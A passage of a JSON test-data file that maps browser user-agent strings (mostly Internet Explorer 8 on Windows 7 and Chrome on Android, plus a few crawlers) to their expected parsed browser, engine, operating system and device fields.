CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; Tablet PC 2.0; CIBA; .NET CLR 1.1.4322; 4399Box.560; 4399Box.560)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)/UC Browser7.6.1.82/28/351" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)/UC Browser7.6.1.82/50/355" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)/UC Browser7.7.1.88/50/350" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)/UC Browser7.7.1.88/50/351" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)/UC Browser7.7.1.88/50/354" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)/UC Browser7.7.1.88/50/444" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; BTRS25143; FunWebProducts; QQDownload 679; SIMBAR={CB5070E1-A3D9-11DF-9EE4-705AB60E87D4}; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; FunWebProducts; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2; .NET4.0E; FDM; MATM)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB0.0; SIMBAR={87BB6048-4BD1-11E0-92DD-001F16FE014C}; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.1; ShopperReports 3.0.517.0; SRS_IT_E8790777BD765C5430AA94; AskTbBLPV" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI/1; MDDC; .NET4.0C; BRI/2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; MRA 5.6 (build 03278); MRSPUTNIK 2, 3, 0, 62; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; QS 4.2.4.0; QS 5.3.0.4; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; QS 4.2.4.0; QS 5.3.0.4)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "8", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 8 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MASM; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; UHG_Win7_Build 11-15-2010)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; BRI/1; .NET4.0C; WWTClient2; AskTbCLM/5.11.3.15590; MASP)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPNTDF; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; InfoPath.2)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "8", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "Win7", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 8 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; ShopperReports 3.0.517.0; SRS_IT_E879057EB7765A5336AD96; .NET4.0C)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; Foxy/1; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MALN; .NET4.0C; Tablet PC 2.0)" : { "browser" : "ie", "browser_major" : "8", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "match" : [ "windows", "winnt", "win32", "win7", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "os" : "windows", "os_string" : "Win7", "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)" : { "browser" : "ie", "browser_string" : "MSIE", "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "major" : "8", "match" : [ "windows", "winnt", "win32", "win8", "win8_0", "ie", "ie4up", "ie5up", "ie55up", "ie8", "trident", "dotnet" ], "minor" : ".0", "os" : "windows", "os_string" : "Win8.0", "public_major" : "8", "public_minor" : ".0", "public_version" : 8, "version" : 8 }, "Mozilla/4.0 (compatible; MSIE 999.1; Unknown)" : { "browser" : "ie", "browser_major" : "999", "browser_minor" : ".1", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "ie", "ie4up", "ie5up", "ie55up" ], "robot" : 0 }, "Mozilla/4.0 (compatible; MSIE8.0; Windows NT 6.0) .NET CLR 2.0.50727)" : { "browser" : "ie", "browser_major" : "4", "browser_minor" : ".0", "browser_string" : "MSIE", "engine" : "ie", "engine_string" : "MSIE", "match" : [ "windows", "winnt", "win32", "winvista", "ie", "ie4", "ie4up", "dotnet" ], "os" : "windows", "os_string" : "WinVista", "robot" : 0 }, "Mozilla/4.0 (compatible; Netcraft Web Server Survey)" : { "browser_major" : "4", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_name" : "Netcraft Web Server Survey" }, "Mozilla/4.0 (compatible; Powermarks/3.5; Windows 95/98/2000/NT)" : { "browser_major" : "3", "browser_minor" : ".5", "match" : [ "windows", "win95", "win32" ], "os" : "windows", "os_string" : "Win95", "robot" : 0 }, "Mozilla/4.0 (compatible; Synapse)" : { "browser_major" : "4", "browser_minor" : ".0", "match" : [], "robot" : 0 }, "Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)" : { "browser_major" : "4", "browser_minor" : ".0", "match" : [ "windows", "win32" ], "robot" : 0 }, "Mozilla/4.0 compatible ZyBorg/1.0" : { "browser_major" : "4", "browser_minor" : ".0", "match" : [ "robot" ], "robot" : "unknown", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_name" : "ZyBorg", "robot_version" : "1.0" }, "Mozilla/4.61 [en] (X11; U; ) - BrowseX (2.0.0 Windows)" : { "browser" : "browsex", "browser_beta" : ".0", "browser_major" : "2", "browser_minor" : ".0", "browser_string" : "BrowseX", "language" : "EN", "match" : [ "unix", "browsex", "x11" ], "os" : "unix", "os_string" : "Unix", "robot" : 0 }, "Mozilla/4.7 (compatible; OffByOne; Windows 2000) Webster Pro V3.4" : { "browser_major" : "4", "browser_minor" : ".7", "match" : [ "win2k", "win32", "windows", "winnt" ], "os" : "windows", "os_string" : "Win2k", "robot" : 0 }, "Mozilla/5.0 (Auto Shell Spider)" : { "browser" : "netscape", "browser_major" : "5", "browser_minor" : ".0", "browser_string" : "Netscape", "match" : [ "netscape", "nav4up", "nav45up", "nav6", "nav6up", "robot" ], "robot" : "unknown", "robot_name" : "Auto Shell Spider" }, "Mozilla/5.0 (Linux; Android 4.0.4; GT-P7310 Build/IMM76D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.93", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (GT-P7310)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".4", "os_major" : "4", "os_minor" : ".0", "os_string" : "Android", "os_version" : "4.0", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.1.1; Huawei Y301A1 Build/HuaweiY301A1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.94 Mobile Safari/537.36" : { "beta" : ".1500.94", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Huawei Y301A1)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "28", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "public_beta" : ".1500.94", "public_major" : "28", "public_minor" : ".0", "public_version" : 28, "version" : 28 }, "Mozilla/5.0 (Linux; Android 4.1.2; ADR910L Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (ADR910L)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.1.2; C1905 Build/15.1.C.2.8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.89", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (C1905)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.1.2; LG-P769 Build/JZO54K) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Mobile Safari/537.31" : { "browser" : "chrome", "browser_beta" : ".1410.58", "browser_major" : "26", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LG-P769)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".31", "engine_string" : "WebKit", "engine_version" : "537.31", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.1.2; LGMS500 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LGMS500)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.1.2; Torque Build/JZO54K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19" : { "beta" : ".1025.166", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Torque)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".19", "engine_string" : "WebKit", "engine_version" : "535.19", "major" : "18", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".1", "os_string" : "Android", "os_version" : "4.1", "public_beta" : ".1025.166", "public_major" : "18", "public_minor" : ".0", "public_version" : 18, "version" : 18 }, "Mozilla/5.0 (Linux; Android 4.2.1; en-us; Nexus 5 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko; Google Transcoder) Chrome/38.0.1025.166 Mobile Safari/535.19" : { "browser" : "chrome", "browser_beta" : ".1025.166", "browser_major" : "38", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (Nexus 5)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".19", "engine_string" : "WebKit", "engine_version" : "535.19", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".1", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.2.2; ALCATEL ONE TOUCH Fierce Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.94 Mobile Safari/537.36" : { "beta" : ".1500.94", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (ALCATEL ONE TOUCH Fierce)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "28", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_beta" : ".1500.94", "public_major" : "28", "public_minor" : ".0", "public_version" : 28, "version" : 28 }, "Mozilla/5.0 (Linux; Android 4.2.2; GT-P5113 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (GT-P5113)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.2.2; Hudl HT7S3 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.96", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (Hudl HT7S3)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.2.2; Lenovo A3000-H Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (Lenovo A3000-H)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.2.2; Micromax A177 Build/MicromaxA177) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.59 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1650.59", "browser_major" : "31", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Micromax A177)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.2.2; SM-T310 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.94 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.94", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (SM-T310)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SGH-M919 Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Version/1.0 Chrome/18.0.1025.308 Mobile Safari/535.19" : { "beta" : ".1025.308", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG SGH-M919)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".19", "engine_string" : "WebKit", "engine_version" : "535.19", "language" : "EN", "major" : "18", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "public_beta" : ".1025.308", "public_major" : "18", "public_minor" : ".0", "public_version" : 18, "version" : 18 }, "Mozilla/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG-SGH-I337 Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Version/1.0 Chrome/18.0.1025.308 Mobile Safari/535.19" : { "browser" : "chrome", "browser_beta" : ".1025.308", "browser_major" : "18", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG-SGH-I337)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "535", "engine_minor" : ".19", "engine_string" : "WebKit", "engine_version" : "535.19", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".2", "os_string" : "Android", "os_version" : "4.2", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; 0PCV1 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.141 Mobile Safari/537.36" : { "browser" : 